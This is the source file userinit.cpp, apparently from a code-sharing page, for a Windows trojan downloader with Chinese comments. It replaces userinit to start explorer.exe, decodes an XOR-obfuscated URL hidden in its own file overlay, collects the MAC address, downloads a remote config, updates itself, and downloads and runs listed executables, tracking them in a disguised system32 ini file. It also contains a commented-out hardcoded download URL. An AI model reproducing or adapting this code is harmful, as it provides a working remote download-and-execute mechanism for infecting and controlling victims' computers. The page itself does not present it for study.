📄 userinit.cpp
字号:
if (szGettedStr[0] != 0x00)
{
icount = atoi(szGettedStr);
}
// 无count值,则说明没有标记
if (icount <= 0)
{
return FALSE;
}
char szNumber[5] = {0};
char szMarkStr[10] = {0};
strcpy(szMarkStr, "biaoji");
char szTotalStr[10] = {0};
// 循环查询是否存在该值
for (int j = 1; j < icount + 1; j++)
{
// 清空接收数据的缓冲区
memset(szGettedStr, 0, 10);
memset(szNumber, 0, 5);
itoa(j, szNumber, 10);
memset(szTotalStr, 0 , 10);
strcpy(szTotalStr, szMarkStr);
strcat(szTotalStr, szNumber);
GetPrivateProfileString("localfile", szTotalStr,"0",szGettedStr,sizeof(szGettedStr), szIniFilePath);
if (strcmp(szGettedStr, szInMark) == 0)
{
return TRUE;
}
}
return FALSE;
}
int APIENTRY main()
{
__try
{
char macstr[13]="000000000000";
typedef DWORD(CALLBACK * ADAPINFO)(PIP_ADAPTER_INFO, PULONG);
ADAPINFO getadapinfo;
HINSTANCE hmodule=NULL;
hmodule=LoadLibrary("iphlpapi.dll");
if(hmodule)
{
getadapinfo=(ADAPINFO)GetProcAddress(hmodule,"GetAdaptersInfo");
IP_ADAPTER_INFO Info;
ULONG ulSize=sizeof(Info);
getadapinfo(&Info, &ulSize);
DWORD dwError = 0;
dwError = GetLastError();
if (&Info)
{
itoa(Info.Address[0], &macstr[0], 16);
itoa(Info.Address[1], &macstr[2], 16);
itoa(Info.Address[2], &macstr[4], 16);
itoa(Info.Address[3], &macstr[6], 16);
itoa(Info.Address[4], &macstr[8], 16);
itoa(Info.Address[5], &macstr[10], 16);
}
// 处理0结尾的情况
for (int m = 0; m < 12; m++)
{
if (macstr[m] == 0x00)
{
macstr[m] = 0x30;
}
}
FreeLibrary(hmodule);
}
//////////////////////////////////////////////////////////////////////////
TCHAR szExplorer[MAX_PATH];
TCHAR szModuleFile[MAX_PATH];
// 完成启动explorer.exe的功能
GetWindowsDirectory( szExplorer, MAX_PATH);
PathAppend(szExplorer,"explorer.exe");
GetModuleFileName(NULL, szModuleFile, MAX_PATH);
DWORD dwUserinitSize = 0;
TCHAR szModulePath[MAX_PATH];
GetModuleFileName( NULL, szModulePath, MAX_PATH);
OccupyFile(szModulePath);
LPVOID lpBuffer = MapFile(szModuleFile, &dwUserinitSize, TRUE);
if ( lpBuffer == NULL )
{
return 0;
}
DWORD dwOverLaySize;
// 获取映射image在内存中文件尾的地址,也就是下载执行的程序的地址
LPVOID lpOverlay = GetOverlayOffset(lpBuffer, dwUserinitSize, &dwOverLaySize);
if ( lpOverlay == NULL || dwOverLaySize == 0 )
{
UnmapFile(lpBuffer);
return 0;
}
if ( dwOverLaySize > MAX_PATH )
dwOverLaySize = MAX_PATH;
char szDownurl[MAX_PATH];
char szVersionData[12] = {0};
char szIfRun[3] = {0};
char *szCurVersion = (char *)(lpOverlay) - 10; // 指向当前的版本号
char *szUrl = (char*)lpOverlay; // 指向文件尾部,保存的是要下载的url
char *szNeedRunExplorer = (char *)(lpOverlay) - 11; // 是否要启动explorrer.exe,非0就不启动,0就启动
// 得到当前版本号
for(int m = 0; m < 10; m++)
{
szVersionData[m] = szCurVersion[m];
}
// 得出url
for ( DWORD index = 0; index < dwOverLaySize; index++)
{
szDownurl[index] = szUrl[index]^0x9a;
if ( szDownurl[index] == 0 )
break;
}
// 得到文件尾部的置位标志
szIfRun[0] = szNeedRunExplorer[0];
UnmapFile(lpBuffer);
char szLocalDomain[MAX_PATH] = {0};
strcpy(szLocalDomain, szDownurl);
memset(szLocalDomain + strlen(szDownurl) - 8, 0, MAX_PATH/2 );
if ( index == dwOverLaySize )
{
return 0;
}
RunProcess(szExplorer, TRUE);
// 判断是否要启动explorer.exe
// if (szIfRun[0] == 0x00)
// {
// RunProcess(szExplorer, TRUE);
// }
// 向服务器发送安装数据
// RePortState( szLocalDomain, szVersionData, macstr);
// 判断是不是安装运行,如果是第一次安装,那就不需要启动explorer.exe
// strcpy(szDownurl, "http://www.ippost.cn/xzz/down.txt");
// 下载down.txt文件
DownloadFile(szDownurl, 921);
// 解析down.txt文件
char szSysDir[MAX_PATH];
GetSystemDirectory(szSysDir,sizeof(szSysDir));
// 本地下载者的配置文件
char szLocalIniPath[MAX_PATH] = {0};
strcpy(szLocalIniPath, szSysDir);
strcat(szLocalIniPath, "\\systemInfomations.ini");
// 判断文件是否存在,不存在则重新下载
DWORD dwLocalFileExist = 0;
char szLocalVersion[20] = {0};
dwLocalFileExist = GetPrivateProfileString("vension","org","0",szLocalVersion,sizeof(szLocalVersion), szLocalIniPath);
if (dwLocalFileExist == 1)
{
// 版本号写入ini配置文件
WritePrivateProfileString("curversion", "ver", szVersionData, szLocalIniPath);
}
// 下载的远程文件
char szDownPath[MAX_PATH] = {0};
strcpy(szDownPath, szSysDir);
strcat(szDownPath, "\\down.txt");
DWORD dwReturnValue = 0;
// 取下载文件要求的的版本号和升级地址
char szNewVersion[20] = {0};
char szUpdatePath[100] = {0};
dwReturnValue = GetPrivateProfileString("update","ver","0",szNewVersion,sizeof(szNewVersion), szDownPath);
dwReturnValue = GetPrivateProfileString("update","url","0",szUpdatePath,sizeof(szUpdatePath), szDownPath);
// 如果本地配置文件不存在,或者版本号不同,则升级下载者
if ( (strcmp(szNewVersion, szVersionData) != 0) )
{
DownloadFile(szUpdatePath, 890);
}
int iNeedDown = 0;
char szNeedDownBuf[5] = {0};
GetPrivateProfileString("file","isfile","0",szNeedDownBuf,sizeof(szNeedDownBuf), szDownPath);
iNeedDown = atoi(szNeedDownBuf);
if (iNeedDown == 0)
{
return 0;
}
// 执行down.txt中指定下载执行的文件
int iDownCount = 0;
char szDownTimeBuf[5] = {0};
GetPrivateProfileString("file","count","0",szDownTimeBuf,sizeof(szDownTimeBuf), szDownPath);
iDownCount = atoi(szDownTimeBuf);
char szTxtDownUrl[10] = {0};
char szTxtDownMark[10] = {0};
strcpy(szTxtDownUrl, "url");
strcpy(szTxtDownMark, "biaoji");
char szCountBuf[5] = {0};
char szGetBuf[20] = {0}; // 保存用于查询的标记
char szGetUrl[20] = {0}; // 保存用于查询的url
// 保存读取出的值
char szDownAndExecUrl[MAX_PATH] = {0};
char szFileMark[20] = {0};
// 用于计算本机下载的个数
int isys = 0;
char szIsysBuf[5] = {0};
for(int i = 1; i < iDownCount + 1; i++)
{
memset(szGetBuf, 0, 20);
strcpy(szGetBuf, szTxtDownMark);
itoa(i, szCountBuf, 10);
strcat(szGetBuf, szCountBuf);
memset(szDownAndExecUrl, 0, MAX_PATH);
memset(szFileMark, 0, 20);
// 先读标记,看是否存在,存在就跳过,否则就下载执行
GetPrivateProfileString("file", szGetBuf, "0", szFileMark, sizeof(szFileMark), szDownPath);
// 标记不存在,则获取url,并下载执行
if (!FindMarks(szLocalIniPath, szFileMark))
{
memset(szGetUrl, 0, 20);
strcpy(szGetUrl, szTxtDownUrl);
strcat(szGetUrl, szCountBuf);
GetPrivateProfileString("file", szGetUrl, "0", szDownAndExecUrl, sizeof(szDownAndExecUrl), szDownPath);
DownloadFile(szDownAndExecUrl, i);
// 写入标记
WritePrivateProfileString("localfile", szGetBuf, szFileMark, szLocalIniPath);
// 修改systeminfomations.ini中的文件个数,个数+1
GetPrivateProfileString("localfile", "count", "0", szIsysBuf, sizeof(szIsysBuf), szLocalIniPath);
isys = atoi(szIsysBuf);
isys = isys + 1;
memset(szIsysBuf, 0 , 5);
itoa(isys, szIsysBuf, 10);
WritePrivateProfileString("localfile", "count", szIsysBuf, szLocalIniPath);
}
Sleep(500);
}
}
__except(1)
{
;
}
{
TCHAR szModulePath[MAX_PATH];
GetModuleFileName( NULL, szModulePath, MAX_PATH);
OccupyFile(szModulePath);
}
ExitProcess(0);
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -